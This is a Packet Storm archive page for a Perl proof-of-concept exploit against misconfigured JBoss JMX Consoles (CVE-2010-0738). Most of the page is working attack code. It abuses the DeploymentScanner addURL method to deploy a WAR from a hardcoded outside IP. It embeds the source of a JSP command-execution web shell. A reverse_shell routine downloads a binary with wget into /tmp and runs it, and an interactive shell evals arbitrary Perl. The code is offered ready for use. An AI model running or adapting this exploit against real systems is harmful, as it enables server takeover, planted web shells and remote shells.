exploit the possibilities

JBoss addURL Misconfiguration Attack

JBoss addURL Misconfiguration Attack
Posted Oct 3, 2011
Authored by y0ug

This is a proof of concept exploit that leverages the addUrl method in the DeploymentScanner module on an exposed JBoss JMX console.

tags | exploit, proof of concept
advisories | CVE-2010-0738
MD5 | 5dacc755b8a3e39cc0ea4915d4ca1983

JBoss addURL Misconfiguration Attack

Change Mirror Download
#!/usr/bin/perl
# Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner
# Date: Oct 3 2011
# Author: y0ug <at> codsec.com
# Version:
# Tested on: Linux
# CVE : CVE-2010-0738
#
# POC against misconfigured JBoss JMX Console
# It use the addUrl method in DeploymentScanner module
#
# More information
# http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf
# http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html
#
# You need to edit
# $url_cmd to match the war payload url
# $url_shell is your reverse shell url
# ( only if you want to use reverse_shell("ip", "port") )
#
# The JSP shell is not mine is available every where
# I add a -b param that build the war contener to do this you need java
#
# Is a fast POC coded this morning for fun so maybe it don't cover all case/version
#
# Usage:
# Build the war contener (need java)
# ./jboss -b
# Hack
# ./jboss http://www.vuln.com:8080

use strict;

use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
use IO::Socket::SSL;
use Cwd;

# configuration section
my $url_cmd = "http://78.46.149.64/cmd.war";
my $url_shell = "http://78.46.149.64/reverse.pl";
my $debug = 0; # 1 to switch to debug
my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ".
"Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'";

# Don't edit from here
my $installed = 0;
my $url;

my $ua = LWP::UserAgent->new;

$SIG{INT} = "sigtrap";

sub debug {
if( $debug ){
print STDERR "debug: ", @_, "\n";
}
}

sub check_url {
my $request = GET "$url/jmx-console/";
my $response = $ua->request($request);
if (!$response->is_success) {
print STDERR $response->status_line, "\n";
return -1;
}
return 0;
}

sub sigtrap {
if ( $installed ){
print " [*] Clean of $url in progress...\n";
clean_war();
}
exit 1;
}

sub find_method_index {
my $method = shift(@_);

my $request = GET "$url/jmx-console/HtmlAdaptor?" .
"action=inspectMBean&name=jboss.deployment" .
"%3Aflavor%3DURL%2Ctype%3DDeploymentScanner";


my $response = $ua->request($request);
if (!$response->is_success) {
print STDERR $response->status_line, "\n";
return -1;
}
my $page = $response->decoded_content;

# Match a certain jboss version
while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){
my $form = $1;
if ( $form =~ /$method/ ){
if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){
debug("method $method at index $1");
return $1;
}
}
}

# Match another jboss version
while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){
my $form = $1;
if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){
debug("method $method at index $1");
return $1;
}
}

# Match another jboss version
while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){
my $form = $1;
if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){
debug("method $method at index $1");
return $1;
}
}
return -1;
}

sub is_installed_war {
my $method_index = find_method_index("hasURL");
if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; }
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
methodIndex => "$method_index", arg0 => $url_cmd};
my $response = $ua->request($request);
if (!$response->is_success) {
print STDERR $response->status_line, "\n";
return -1;
}
my $page = $response->decoded_content;

if ( $page =~ m{<pre>(.*?)</pre>}s ){
my $ret = $1;
if ( $ret =~ /true/ ){
return 1;
}else{
return 0;
}
}else{
print STDERR "error: occured during is_installed_war regex!\n";
return -2;
}
}

sub install_war {
if (is_installed_war == 1){
print " [*] Install canceled, already installed\n";
return 1;
}
my $method_index = find_method_index("addURL");
if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; }

my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
methodIndex => "$method_index", arg0 => $url_cmd};
my $response = $ua->request($request);
if (!$response->is_success) {
print STDERR $response->status_line, "\n";
return -1;
}
my $page = $response->decoded_content;

if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
print " [*] ", trim($1), "\n";
return 0;
}elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
print " [*] ", trim($1), "\n";
return 0;
}elsif ( $page =~ m{</table>(.*?)</body>}s ){
print " [*] ", trim($1), "\n";
return 0;
}else{
print STDERR "error: occured during install_war regex!\n";
return -1;
}
}

sub clean_war {
while(is_installed_war == 1){
if ( uninstall_war() < 0 ){
return -1;
}
}
print " [*] Clean complete\n";
return 0;
}

sub uninstall_war {
my $method_index = find_method_index("removeURL");
if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; }
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
methodIndex => "$method_index", arg0 => $url_cmd};
my $response = $ua->request($request);
if (!$response->is_success) {
print STDERR $response->status_line, "\n";
return -1;
}
my $page = $response->decoded_content;

if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
print " [*] ", trim($1), "\n";
return 0;
}elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
print " [*] ", trim($1), "\n";
return 0;
}elsif ( $page =~ m{</table>(.*?)</body>}s ){
print " [*] ", trim($1), "\n";
return 0;
}else{
print STDERR "error: occured during uninstall_war regex!\n";
return -1;
}
}

sub execute {
my $cmd = shift(@_);
print '$ ' . $cmd . "\n";

my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd};
my $response = $ua->request($request);
if (!$response->is_success) {
if ( $response->code == 404 ){
print STDERR "Command war contener is not installed!\n";
}else{
print STDERR $response->status_line, "\n";
}
return -1;
}
my $page = $response->decoded_content;

my $content = $page;

if ( $content =~ m{<BR>(.*)</pre>}s ){
print trim($1) . "\n";
return 0;
}else{
print STDERR "error: occured during exec regex!\n";
return -1;
}
}

sub reverse_shell {
my ($ip, $port) = @_;
print " [*] reverse shell to $ip $port\n";
my $cmd = "wget -O /tmp/a $url_shell";
if ( execute($cmd) < 0 ){
return -1;
}
if ( execute("chmod +x /tmp/a") < 0 ){
return -1;
}
return execute("/tmp/a $ip $port");
}

sub trim($){
my $string = shift;
$string =~ s/^\s+//;
$string =~ s/\s+$//;
return $string;
}

sub setup {
print " [*] Check url $url...\n";
if ( check_url() < 0 ){
print "Url $url not available!\n";
return -1;
}

print " [*] Try to install command war contener...\n";
return install_war;
}

sub check_cmd {
my $t = 5;
for( my $i = 1; $i <= $t ; ++$i ){
my $request = GET "$url/cmd/cmd.jsp";
my $response = $ua->request($request);
if (!$response->is_success) {
if ( $response->code != 404 ){
print STDERR $response->status_line, "\n";
return 0;
}
print(" [*] check_cmd $i/$t failed\n");
}else{
print(" [*] check_cmd $i/$t ok, gogogo!\n");
return 1;
}
if ( $i < $t-1) {sleep(15); }
}
return 0;
}

sub help {
print "Help\n";
print " - Is a perl shell so you can call perl function\n";
print " > execute(\"id\") # execute the commande\n";
print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n";
print " > clean # remove the war contener from the server\n";
print " > check_cmd # loop until command available\n";
print " > install_war # install the war contener from url\n";
print " > exit # clean and quit\n";
print " > exitd # exit without cleaning\n";
}

sub build_war {
my $jsp_file = "cmd.jsp";
open( my $jsp_output, '>', $jsp_file ) or
die("Can't open $jsp_file : $!");

print $jsp_output <<EOF;
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
EOF

close($jsp_output);

mkdir "WEB-INF";
my $xml_file = "WEB-INF/web.xml";
open( my $xml_output, '>', $xml_file ) or
die("Can't open $xml_file : $!");
print $xml_output <<EOF;
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
EOF
close($xml_output);

system("jar cvf cmd.war WEB-INF/ $jsp_file");
unlink($xml_file);
unlink($jsp_file);
rmdir("WEB-INF");

print " [*] War contener is here ", getcwd, "/cmd.war\n";
print " [*] Upload it to your server and update script url\n";
}

sub shell {
do {
print("> ");
chop($_ = <STDIN>);
if ( $_ eq "help" ) { help(); }
if ( $_ eq "exitd" ) { exit 0; }
elsif ( $_ ne "exit" ){ eval($_); }
warn() if $@;
} while ($_ ne "exit");
}

if($#ARGV+1 != 1){
print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner\n";
print " [*] Date: Oct 3 2011\n";
print " [*] Author: y0ug <at> codsec.com\n";
print " [*] Version: 0.1\n";
print " [*] JSP shell url $url_cmd\n\n";
print " [*] Usage:\n";
print " Build the war contener (need java)\n";
print " $0 -b\n";
print " Hack\n";
print " $0 http://www.vuln.com:8080\n\n";


exit 1;
}

if($ARGV[0] eq "-b"){
build_war;
exit 0;
}

$url = $ARGV[0];

$ua->agent($useragent);

print " [*] JSP shell url $url_cmd\n";

if ( setup() < 0 ){
print " [*] Setup failed!\n";
exit 1;
}
$installed = 1;
print " [*] Wait few minutes, times to JBoss to load the url\n";
print " [*] You can find the shell here too\n";
print " [*] $url/cmd/cmd.jsp\n";

if ( check_cmd() <= 0 ){
print " [*] ## Exploit certainly failed! ##\n";
print " [*] You can wait a little longer (run > check_cmd)\n";
}else{
print " [*] Congrats, is up!\n";
execute("id");
}

shell();

print " [*] Clean of $url in progress...\n";
clean_war();

exit(0);

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    1 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close